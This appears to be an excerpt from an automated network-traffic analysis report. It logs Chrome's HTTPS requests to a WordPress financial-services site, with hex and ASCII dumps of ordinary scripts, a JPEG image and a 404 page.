2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 64 6c 65 52 65 73 69 7a 65 28 29 2c 72 2e 64 69 64 52 65 73 69 7a 65 3d 21 31 7d 74 68 69 73 2e 61 64 61 70 74 65 72 2e 6f 6e 28 22 72 65 73 69 7a 65 2e 77 61 79 70 6f 69 6e 74 73 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 64 69 64 52 65 73 69 7a 65 7c 7c 28 72 2e 64 69 64 52 65 73 69 7a 65 3d 21 30 2c 72 65 71 75 65 73 74 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 28 69 29 29 7d 29 7d 2c 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 63 72 65 61 74 65 54 68 72 6f 74 74 6c 65 64 53 63 72 6f 6c 6c 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 3b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 72 2e 68 61 6e 64 6c 65 53 63 72 6f 6c 6c 28 29 2c 72 2e 64 69 64 53 63 72 6f 6c 6c 3d 21 31 7d 74 68 69 73 2e 61 64 61 70 74 65 72 2e 6f 6e 28 Data Ascii: dleResize(),r.didResize=!1}this.adapter.on("resize.waypoints",function(){r.didResize\|\|(r.didResize=!0,requestAnimationFrame(i))})},o.prototype.createThrottledScrollHandler=function(){var r=this;function i(){r.handleScroll(),r.didScroll=!1}this.adapter.on(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49779	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:57 UTC	605	OUT	GET /wp-content/plugins/wpcf7-recaptcha/assets/js/wpcf7-recaptcha-controls.js?ver=1.2 HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:57 UTC	724	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2000 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: application/javascript x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "6617c2e1-7d0" last-modified: Thu, 11 Apr 2024 11:00:49 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:57 GMT X-Served-By: cache-ewr18149-EWR, cache-ewr18162-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867697.278990,VS0,VE60 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 0d 0a 09 6c 65 74 20 72 65 63 61 70 74 63 68 61 57 69 64 67 65 74 73 20 3d 20 5b 5d 3b 0d 0a 09 72 65 63 61 70 74 63 68 61 43 61 6c 6c 62 61 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 09 0d 0a 09 09 6c 65 74 20 66 6f 72 6d 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 20 27 66 6f 72 6d 27 20 29 3b 0d 0a 09 09 6c 65 74 20 70 61 74 74 65 72 6e 20 3d 20 2f 28 5e 7c 5c 73 29 67 2d 72 65 63 61 70 74 63 68 61 28 5c 73 7c 24 29 2f 3b 0d 0a 0d 0a 09 09 66 6f 72 20 28 20 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 66 6f 72 6d 73 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0d 0a 09 09 09 6c 65 74 20 72 65 63 61 70 74 63 68 61 73 20 3d 20 Data Ascii: ( function() {let recaptchaWidgets = [];recaptchaCallback = function() {let forms = document.getElementsByTagName( 'form' );let pattern = /(^\|\s)g-recaptcha(\s\|$)/;for ( let i = 0; i < forms.length; i++ ) {let recaptchas =
2024-04-11 20:34:57 UTC	622	IN	Data Raw: 6f 77 5b 20 65 78 70 69 72 65 64 5f 63 61 6c 6c 62 61 63 6b 20 5d 3b 0d 0a 09 09 09 09 09 7d 0d 0a 0d 0a 09 09 09 09 09 6c 65 74 20 77 69 64 67 65 74 5f 69 64 20 3d 20 67 72 65 63 61 70 74 63 68 61 2e 72 65 6e 64 65 72 28 20 72 65 63 61 70 74 63 68 61 73 5b 20 6a 20 5d 2c 20 70 61 72 61 6d 73 20 29 3b 0d 0a 09 09 09 09 09 72 65 63 61 70 74 63 68 61 57 69 64 67 65 74 73 2e 70 75 73 68 28 20 77 69 64 67 65 74 5f 69 64 20 29 3b 0d 0a 09 09 09 09 09 62 72 65 61 6b 3b 0d 0a 09 09 09 09 7d 0d 0a 09 09 09 7d 0d 0a 09 09 7d 0d 0a 09 7d 3b 0d 0a 0d 0a 09 2f 2a 2a 0d 0a 09 20 2a 20 52 65 73 65 74 20 74 68 65 20 72 65 43 61 70 74 63 68 61 20 77 68 65 6e 20 43 6f 6e 74 61 63 74 20 46 6f 72 6d 20 37 20 67 69 76 65 73 20 75 73 3a 0d 0a 09 20 2a 20 20 2d 20 53 70 61 6d Data Ascii: ow[ expired_callback ];}let widget_id = grecaptcha.render( recaptchas[ j ], params );recaptchaWidgets.push( widget_id );break;}}}};/** * Reset the reCaptcha when Contact Form 7 gives us: * - Spam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49780	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:57 UTC	636	OUT	GET /wp-content/uploads/2017/07/shutterstock_153861770.jpg HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:57 UTC	714	IN	HTTP/1.1 200 OK Connection: close Content-Length: 29921 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/jpeg x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "59a7c764-74e1" last-modified: Thu, 31 Aug 2017 08:23:00 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:57 GMT X-Served-By: cache-ewr18176-EWR, cache-ewr18155-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867697.289197,VS0,VE65 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0b 0b 09 0c 11 0f 12 12 11 0f 11 11 13 16 1c 17 13 14 1a 15 11 11 18 21 18 1a 1d 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c2 00 11 08 01 4e 01 f4 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 01 02 00 03 04 05 06 07 ff c4 00 18 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 fa 31 95 fa 7c d5 10 75 9b Data Ascii: JFIFC!"$"$CN"1\|u
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 95 4b 96 25 2c a6 3e 7f 65 37 9e 0d 7e 8d b5 3c b9 f5 6c 79 33 ea ad 8f 2e 7d 39 8f 3d 67 70 4b c9 b3 a6 25 c6 fa 84 b5 35 95 8e 44 94 15 34 54 aa 15 8a 66 c1 da 4d 67 97 7e d5 ac 69 ba 57 3e 6d 87 3e ce 54 eb c7 a6 79 e8 ba 4d 60 ee 3f 2f 77 2e 96 db 45 79 bb 14 3c ae 28 b2 0f 33 a2 f5 c9 d1 af 16 9b ac 0d 8a 92 39 16 18 20 d4 5b 20 03 48 41 0a 95 20 81 94 46 63 65 65 ca d2 ce 4a a5 84 11 14 b0 52 52 e9 5c 1c d5 07 34 ca b0 57 07 ad 96 98 40 82 10 2c 59 5e 5d f6 e4 f4 f9 da f4 d5 9b 5b d7 03 7d 46 51 54 5b 35 5d 85 e5 d9 d5 e4 af 3d f6 32 73 61 d5 d3 c7 a0 ed db ca 19 bd 66 e7 e8 ce ad b2 4c d0 16 c2 2e 5d 34 d0 48 24 42 15 60 2c 94 e2 28 ea 41 09 00 35 5a 2b aa ac 64 28 e9 14 70 08 b2 4a 59 25 56 2c 08 89 70 aa c5 a0 a6 5b 2c c7 47 4e 59 c2 ef 29 30 6e Data Ascii: K%,>e7~<ly3.}9=gpK%5D4TfMg~iW>m>TyM`?/w.Ey<(39 [ HA FceeJRR\4W@,Y^][}FQT[5]=2safL.]4H$B`,(A5Z+d(pJY%V,p[,GNY)0n
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: e6 b4 5b a7 9a 27 98 20 70 66 c4 df bf 5e ed 42 3b 2e e6 8c 20 c5 6e 83 ab 8f 8e 34 78 bf 5a 8a c2 12 20 1b 24 77 1d a2 b6 e3 7d 24 30 75 30 7b 1c f1 15 b7 21 d0 9d 75 c8 07 cb c2 bb 91 e9 c4 18 17 bb 80 00 af 73 86 ca 56 00 74 dc 5a 98 46 e6 25 7c 8f e5 d7 5d 6e 6a 0f be 87 ea 9e d7 59 d8 51 72 b1 24 4f 88 81 d6 2e b4 1f bf 28 0f 6e 6b 3c c0 ac 8d c8 03 ae 87 b7 42 75 03 03 09 d4 56 06 64 1d 26 1d c0 bb 7d 5b 95 e5 b1 3e 65 58 ed c9 77 3b 4b 7f 83 35 6d 52 bc 84 e3 35 d9 b7 aa c9 83 e2 c6 c8 a6 72 81 a7 29 ca 6c 7f e8 6b d8 dd af 23 61 6b 55 9c 44 60 a0 55 de c6 d0 15 b7 28 49 e7 fa 7a 9b 97 92 f2 be 75 8b 99 dc e3 37 f1 de ae f2 a0 42 de 85 c5 15 32 17 1c 96 aa 99 23 2f 25 18 60 58 8a 44 b7 19 6c 9c 45 55 d6 dc 0a 7c e7 11 2c a6 b7 9e 4a 08 00 02 0e 80 Data Ascii: [' pf^B;. n4xZ $w}$0u0{!usVtZF%\|]njYQr$O.(nk<BuVd&}[>eXw;K5mR5r)lk#akUD`U(Izu7B2#/%`XDlEU\|,J
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: db 5c 6e af 15 35 98 a9 e8 68 ad c3 a7 20 4e 46 59 5a f1 ea 0a 00 ec c5 50 7a aa 8c f3 32 1a 35 1c e0 28 a2 c3 2d e7 b6 16 6d d5 8c e0 d0 d6 d2 9b f2 aa 95 f8 ad 8b 07 88 60 db 17 1f 0e d9 e9 40 9e 9e ed 7a 7c a9 e5 e5 ec 57 98 27 0c cd 9a f2 8c 7a 72 c8 38 99 a4 ae 2e 44 f4 b6 cf 46 f0 62 76 f4 89 3d 1d 5b f4 74 6f d1 51 06 25 2b 0e 2d 13 d3 d1 05 55 40 88 26 87 4c cf 0f c7 cc b6 9a f8 2e f5 32 eb b9 33 9b 1d 1f 1b 12 84 c5 a5 58 eb e6 67 18 aa b3 7d 3e 15 26 35 be a7 34 fa 8b f2 2a 4f 2e b6 99 69 e9 32 bc 2e fb 72 31 2d c7 6a 5d f2 1a d6 a1 d9 41 c8 ba 28 cb b2 0c 6a 95 86 e6 a0 03 72 cf ab 96 38 6d fc b7 ca 33 f7 df 41 dd b5 2b cb c9 46 5f 12 b8 44 f1 55 9f f4 f1 e7 fd 3c 49 ff 00 4f 0e 7f d2 c4 9f f4 b0 cc 3e 23 89 bf 5f 8f 3d 65 73 d5 4f 52 d3 cf b2 Data Ascii: \n5h NFYZPz25(-m`@z\|W'zr8.DFbv=[toQ%+-U@&L.23Xg}>&54*O.i2.r1-j]A(jr8m3A+F_DU<IO>#_=esOR
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 3d 55 13 f5 d3 f7 65 8b 52 77 c9 7a a8 40 74 61 2e 20 68 fe 5b cf 4f 8e 63 e3 56 52 8b 5e 85 4b ea 78 59 47 b1 ab 56 35 56 b5 cd c2 32 ab b2 ac b7 6b 6e 5a eb 51 58 b5 1a a7 59 c6 c1 14 99 cb 53 97 7d c2 dd c1 9f ad 7f 10 dc f3 9d 63 5f ba aa f8 46 bc c7 dd 83 d3 91 3c b7 98 8f e5 25 8e ec f6 6f cc 37 8a e8 a2 f1 67 b4 75 ff 00 f3 8f da 27 74 99 19 1d eb c5 e6 d7 60 21 ab c3 72 1d 8e e1 d4 67 54 5d be 5d 88 bc 17 a7 ee 1d 45 51 35 1d 76 3c 84 d3 e2 a7 1f 0d b4 fb f8 88 ea 18 28 e2 2e 4e 73 1d 0a 0b 34 14 1e 43 d3 24 6a b8 15 43 b6 fe b6 18 ef 2a 3d fe c9 9b ec 4f 7e da 56 ec 65 9f 6b fd 86 a7 1f 85 1f 16 b6 e9 b1 c7 bc dc 0a e2 6d c4 0f 39 09 e2 23 cb c8 c7 ff 00 2c ab cc c7 a7 53 40 0b 3e 35 e0 2e ac 99 57 25 70 23 e5 1a ab 15 28 2d cb 70 91 17 a3 75 df Data Ascii: =UeRwz@ta. h[OcVR^KxYGV5V2knZQXYS}c_F<%o7gu't`!rgT]]EQ5v<(.Ns4C$jC*=O~Vekm9#,S@>5.W%p#(-pu
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 45 68 a4 98 ce 75 b1 3a 1b b2 d9 96 c4 38 14 93 ee fe dd d1 de 57 a5 ad 5b a1 47 d9 8a 37 2f d9 b7 3d 9b 15 db c1 96 f6 39 6e 4a 5b 09 c9 19 ec 41 ee 27 7d 96 43 9a 1b bd 91 82 a3 a7 c0 e5 e1 11 55 da d2 21 c0 e5 5a b7 45 f9 d1 a3 83 1b 31 66 e5 97 ae 54 85 32 d6 ae 1b ec 25 5a 2c b8 14 52 ee 62 7b 51 89 17 e0 6e 85 1d 3f 8f 65 12 68 ad 85 1f 7a 4a 14 62 d7 e8 56 9c 31 2b dd eb 2e 08 f1 ab 6e 4e 91 8a 21 cd 76 64 88 b8 f0 61 fa 14 bb 25 c1 1e 34 77 21 6d a4 7f 96 b3 7e 10 a3 44 a3 66 6f ba 53 48 7d 4f 44 25 f6 a7 8b a2 f2 16 da c7 f9 69 29 51 08 d6 fa d1 ff c4 00 26 11 00 02 02 01 03 04 03 01 01 01 01 00 00 00 00 00 00 01 02 11 12 10 21 31 03 20 41 51 13 22 30 32 40 42 61 ff da 00 08 01 02 01 01 3f 01 36 d2 b4 a2 cb d1 ca fb 9f 7d fe f7 f9 78 1f 62 d5 7e Data Ascii: Ehu:8W[G7/=9nJ[A'}CU!ZE1fT2%Z,Rb{Qn?ehzJbV1+.nN!vda%4w!m~DfoSH}OD%i)Q&!1 AQ"02@Ba?6}xb~
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: c7 46 47 08 3e 6a a5 27 4c 34 c8 4d 78 7b bb 9a b6 20 a7 51 cc 43 a9 3a de 49 ae 73 80 24 29 a7 2c 2c 3e ab 76 a1 de 16 42 ab 9d f7 d4 9c 83 1f 19 1c 37 50 cd 54 82 2d aa 8e 7c d3 aa 44 c0 4f ed 55 af 53 90 fe 1c 33 19 94 0d 32 4c 69 2b 7a ac b7 01 49 ba 2a 7d 8f b3 c6 56 71 39 08 78 0c 6f 08 8d 51 ef 61 c4 f4 45 96 06 35 43 23 5c 00 3a 9e 6b 7b d5 58 ad 51 9e 4b 28 70 2e 51 2b 5c 27 10 04 49 52 fe ba a1 da 99 4d f5 88 b0 6f ea 89 a8 39 2e f2 98 00 84 1e de 78 b9 be 29 e6 9b 5d 0e e7 c9 0a bb f9 9a e8 b0 5d cd f3 54 65 ac a9 ba 95 62 d1 4d c5 a4 7d 53 d8 1d ef d9 bb f9 85 55 8c 70 dd 7c df c5 39 93 ef 05 bf 35 98 7e 07 7e 69 8e 83 1d a2 97 4e 69 c0 31 c6 0f 44 d7 77 4f de 17 b2 81 49 d9 9a 6d 64 c7 77 2e 87 8d e5 56 9f d9 cc 87 4b 10 26 8c 66 6e f2 7d 27 Data Ascii: FG>j'L4Mx{ QC:Is$),,>vB7PT-\|DOUS32Li+zI*}Vq9xoQaE5C#\:k{XQK(p.Q+\'IRMo9.x)]]TebM}SUp\|95~~iNi1DwOImdw.VK&fn}'
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 7e 64 2b 76 4f 5a 81 5b b3 d2 1e 75 15 9b d9 87 aa b5 7e c9 fe d9 57 7d 1f 36 8f ee 89 fb 6b d9 07 4e e0 20 2a ff 00 ea db fc ed 95 0f db 6b bb c9 cb 7a bf 68 3f e7 5c 55 7f d6 54 b9 ce f0 be 8a 04 98 e8 33 14 58 68 92 e8 fc 27 53 d1 1a ef 7c 36 9d 4b da c4 fe ab 88 54 8b ea a4 5a 30 e5 85 94 a8 73 a3 cd 77 6e 6e 76 bb 97 54 e7 3a 98 12 4c 32 6c db a8 02 02 cc 70 75 00 e9 a6 c7 67 aa ef fc f4 54 fb 3d 0e ec 5b 43 cb fe 11 ef 0b 5f 4c 68 63 91 3f db e9 e6 88 a4 d0 d9 c7 45 67 1f 9a b8 07 c9 73 ba 80 76 2c b4 5a 2d 17 0a e6 a7 aa d1 4c 2b e1 c2 bd d8 5e e9 ab dd 37 d1 70 0f 45 a0 b7 b1 fb ab 15 ee 85 57 4f 58 b2 ef 5d 49 f3 12 5a 1a 8e e5 81 8d e0 bd cb 07 90 85 b9 5a bb 3c 9f 3f 9a ff 00 16 4f 9d 30 be f1 d3 ff 00 4a b5 bc 96 eb 96 5c 8d 2d e8 b2 b1 85 b3 Data Ascii: ~d+vOZ[u~W}6kN *kzh?\UT3Xh'S\|6KTZ0swnnvT:L2lpugT=[C_Lhc?Egsv,Z-L+^7pEWOX]IZZ<?O0J\-
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: b5 52 56 8a 0a cb 3b 9f 92 b1 db ba b6 12 c0 86 71 75 98 ac a3 0b 10 54 47 b4 82 a5 a2 fb 10 89 0e b2 ea b4 c3 5d 98 da 28 9d 4c e8 b3 38 40 c4 1e 58 49 50 3e 5b 37 40 b4 ee a9 db 92 ac ae d5 2d 2a 0a cc 05 d1 67 54 5c d7 6a 50 6b e7 2a d1 77 79 55 94 e6 56 20 a8 cb f1 71 84 01 8d b0 ca 34 52 75 3b 6d f2 da 92 b2 b4 7c 94 b8 49 44 42 ee e6 c7 6f 34 5f 08 94 64 ce 06 19 6f dc 01 83 58 59 dd f2 db 8f 04 3c b6 6e b2 85 27 5c 41 1d 50 da 92 ad a2 e0 5c 2b c7 f7 08 9f 62 36 24 a8 1b 3f 3d bc a0 ee 8f aa 97 05 c2 b4 52 c5 33 fb a4 8f 1c 64 a8 1a ed 3b 6b 28 d4 ac dc 86 c7 8a 81 fb a4 f4 40 a9 2a 02 f1 da 72 1b 1e 2b c1 40 d9 b8 fd d3 2a 22 e3 0f 1d b2 86 36 e6 b2 ab 6d ff 00 ff c4 00 28 10 01 00 02 02 01 04 02 02 02 03 01 01 00 00 00 00 01 00 11 21 31 41 10 51 Data Ascii: RV;quTG](L8@XIP>[7@-gT\jPkwyUV q4Ru;m\|IDBo4_doXY<n'\AP\+b6$?=R3d;k(@r+@"6m(!1AQ
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 6b da 11 29 f1 70 87 b3 2c 53 cc 23 b4 77 8a d9 d9 ff 00 30 6c 13 4d 4a ba 55 06 c3 99 56 4c c9 ef 11 48 13 3b 85 39 33 10 9f 02 58 28 11 3a 0c 3a 71 0c 15 38 3d e1 0d b2 e5 00 dc 20 dd 31 0b 38 fb e7 d0 2d 8a 89 6d 4f a0 ea b8 73 08 e0 b9 82 60 88 85 f5 86 12 c3 26 63 c9 d1 2c 0e 4f 6c 32 e5 33 c9 2f 06 c0 a5 f5 31 2c 8a 4e b9 58 06 16 b2 32 42 64 27 38 e1 c7 f3 2d c6 9f a3 0c c9 9b ac b8 61 07 a0 59 b7 52 d0 f4 8a 81 46 e4 2f d2 0e 12 d5 7e 30 ce 25 c0 fb ff 00 72 cb 81 b4 2a 3b 06 63 d9 0b 13 31 bc c0 04 67 4c 08 96 69 8f 05 83 2d 43 56 34 25 fa 3d 6a 0e 1d 21 d9 98 b9 56 58 21 8f 94 9f 09 c1 5a 97 98 4e ef 27 64 e2 d7 d9 95 0a 6c 5e af b4 6d 5d 9e eb ed 09 42 b7 d2 ea 1b c2 ff 00 f0 99 21 95 44 5c f9 f8 1d a3 98 c3 51 4e 63 c3 9b 93 17 04 3b 2b 21 4d Data Ascii: k)p,S#w0lMJUVLH;93X(::q8= 18-mOs`&c,Ol23/1,NX2Bd'8-aYRF/~0%r*;c1gLi-CV4%=j!VX!ZN'dl^m]B!D\QNc;+!M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49783	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:57 UTC	669	OUT	GET /wp-content/themes/x-child/fonts/glyphicons-halflings-regular.ttf HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.bfjfinancial.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.bfjfinancial.com/wp-content/themes/x-child/css/bootstrap.min.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:58 UTC	769	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 63843 cache-control: no-cache, must-revalidate, max-age=0 x-fw-server: Flywheel/5.1.0 x-xss-protection: 1 x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-fw-dynamic: TRUE referrer-policy: no-referrer-when-downgrade link: <https://www.bfjfinancial.com/wp-json/>; rel="https://api.w.org/" x-content-type-options: nosniff content-type: text/html; charset=UTF-8 Server: Flywheel/5.1.0 X-Cacheable: NO:Not Cacheable Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:58 GMT X-Served-By: cache-lga21937-LGA, cache-lga21925-LGA X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867698.629537,VS0,VE435 Vary: Accept-Encoding X-FW-Serve: TRUE X-FW-Static: NO X-FW-Type: VISIT
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e Data Ascii: <!DOCTYPE html><html class="no-js" lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="pingback" href="https://www.bfjfinancial.com/xmlrpc.php"><meta name='robots' content='noin
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 62 66 6a 64 65 76 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 63 61 72 64 22 20 63 6f 6e 74 65 6e 74 3d 22 73 75 6d 6d 61 72 79 5f 6c 61 72 67 65 5f 69 6d 61 67 65 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6c 64 2b 6a 73 6f 6e 22 20 63 6c 61 73 73 3d 22 79 6f 61 73 74 2d 73 63 68 65 6d 61 2d 67 72 61 70 68 22 3e 7b 22 40 63 6f 6e 74 65 78 74 22 3a 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 22 2c 22 40 67 72 61 70 68 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 41 72 74 69 63 6c 65 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 77 68 61 74 2d 69 73 2d 74 68 Data Ascii: or" content="bfjdev" /><meta name="twitter:card" content="summary_large_image" /><script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"Article","@id":"https://www.bfjfinancial.com/what-is-th
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 7d 2c 22 64 61 74 65 50 75 62 6c 69 73 68 65 64 22 3a 22 32 30 32 34 2d 30 34 2d 30 39 54 31 39 3a 32 36 3a 34 32 2b 30 30 3a 30 30 22 2c 22 64 61 74 65 4d 6f 64 69 66 69 65 64 22 3a 22 32 30 32 34 2d 30 34 2d 30 39 54 31 39 3a 32 36 3a 34 32 2b 30 30 3a 30 30 22 2c 22 62 72 65 61 64 63 72 75 6d 62 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 77 68 61 74 2d 69 73 2d 74 68 65 2d 62 65 73 74 2d 6f 6e 6c 69 6e 65 2d 63 61 73 69 6e 6f 2d 77 65 62 73 69 74 65 73 2f 23 62 72 65 61 64 63 72 75 6d 62 22 7d 2c 22 69 6e 4c 61 6e 67 75 61 67 65 22 3a 22 65 6e 2d 55 53 22 2c Data Ascii: tps://www.bfjfinancial.com/#organization"},"datePublished":"2024-04-09T19:26:42+00:00","dateModified":"2024-04-09T19:26:42+00:00","breadcrumb":{"@id":"https://www.bfjfinancial.com/what-is-the-best-online-casino-websites/#breadcrumb"},"inLanguage":"en-US",
